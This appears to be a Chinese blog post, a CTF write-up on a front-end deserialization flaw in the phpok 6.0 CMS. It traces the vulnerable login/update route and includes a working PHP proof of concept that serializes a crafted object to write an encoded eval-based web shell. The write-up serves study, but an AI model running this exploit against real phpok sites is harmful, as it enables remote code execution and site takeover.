phpok6.0-前台反序列化漏洞getshell

0x0 前言

这两天来杭州打西湖论剑了,一个低版本的phpok一个高版本的phpok

低版本nday通了 高版本一直没审计出来

今天上午在安恒大厦听了讲解

主办方说不公开了 但是有人做出来了 互联网上很快就会有题解了。

看到了poc大概的样子 回合肥路上调了一下

0x1 避坑

最新版的phpok直接搭建跑不起来 可能是因为我mac?

image-20220313140049902

复现的师傅们可以把这里注释一下(我懒 不想找原因

0x2 思路

大概看了一下逻辑 这个框架 c是控制器 f是方法 代码都在framework 文件夹下面,如图

image-20220313140213877

framework/admin/login_control.phpindex_f方法 对应的url就是

/admin.php?c=login&f=index

主办方那个url我看到了 是admin.php?c=login&f=update 跟进去看了一眼代码

image-20220313140402574

可疑点就在decode

跟进发现反序列化

image-20220313140442286

。。。简单的有点离谱

还是吃了习惯看前台控制器的亏….

以后多细心点吧

(此处响起了k👴👴r的声音:你为什么不会?还不是因为你菜

0x3 poc

把token和file对应的文件复制过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

require "./token.php";
require "./file.php";

class cache{
protected $key_id='suanve';
protected $key_list='aaaaaIDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+';
protected $folder='php://filter/write=string.strip_tags|convert.base64-decode/resource=';
}
//echo base64_encode(serialize(new cache()));


$token = new token_lib();
$file = new file_lib();
$keyid = $file->cat("./index.php");
$token->keyid($keyid);

echo $token->encode(new cache());

image-20220313140623792

上车的时候掏电脑开始看的,写好这篇博客到丽水站了….
比赛的时候我可是审到早上3点啊….

作者

Suanve

发布于

2022-03-13

更新于

2022-03-13

许可协议